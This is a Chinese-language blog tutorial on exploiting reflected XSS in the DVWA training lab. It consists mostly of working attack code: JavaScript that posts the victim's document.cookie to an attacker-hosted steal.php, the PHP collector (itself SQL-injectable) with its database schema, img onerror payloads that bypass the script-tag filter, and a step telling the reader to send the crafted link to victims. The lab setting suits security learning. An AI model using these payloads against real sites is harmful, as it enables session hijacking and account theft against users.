資訊保安之路-web-xss學習(1)
關於xss反射性漏洞
1.未加任何過濾的
(1).在dvwa平臺上可以看到原始碼,如下
low級別
為了便於理解,程式碼如下:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )
{// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
判斷是否存在name引數且該引數是否為空,不為空則輸出Hello,和該引數的值
(2).如果輸出<script>alert(0)</script>,則瀏覽器端接收到傳來的服務端處理後的js程式碼就會直接解析執行
(這裡做過實驗,如果在瀏覽器端開啟服務端js程式碼則直接看到原始碼,不執行,所以說服務端處理後的js程式碼)
Ps:筆者在學習時設定了代理。IP會變,做的時候可以考慮該原因
(3) .當我們已知該漏洞時,考慮利用<script src=http://xxx></script>
Js程式碼:(一定要細心,筆者在此出錯甚多,導致耗時太多,比如action後網址正確,要有http://,在瀏覽器端輸入時會自動加上,但構造payload時會忘掉)
document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
這段js程式碼的作用是在頁面中構造一個隱藏表單和一個隱藏域,內容為當前的cookie,並且以post方式傳送到同目錄下的steal.php。
Php程式碼:(同上,寫php程式碼時一定要細心,比如:$_POST不能少了_符號,低階錯誤,哎)
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}else
{
$sql="select * from low";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_array($result))
{
echo "偷取的cookie:".$row[1]."</br>";
}
mysql_close();
}?>
steal.php將我們獲取到的cookie存到資料庫中。
create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);
接下來我們在有xss漏洞的位置插入。
<script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>
相當於構造連結。
http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>
將連結發給該網站下的受害者,受害者點選時就會載入遠端伺服器(這裡是win7)的cookie.js指令碼,這裡要提一點,用src載入遠端伺服器的js指令碼,那麼js的源就會變成載入它的域,從而可以讀取該域的資料。
這時,資料庫就接收到了cookie。
High級別
High利用正則過濾了script標籤,需要繞過,那就不使用<script>標籤,使用
<img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>
這樣同樣可以出發js事件,服務端在解析時並不會解析I的uicode編碼,而是到了html頁面端會有解析,從而執行。
注意以上payload和這個區別:(引號結尾在document之前)
<img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>
本文程式碼和理解參考:http://www.freebuf.com/articles/web/157953.html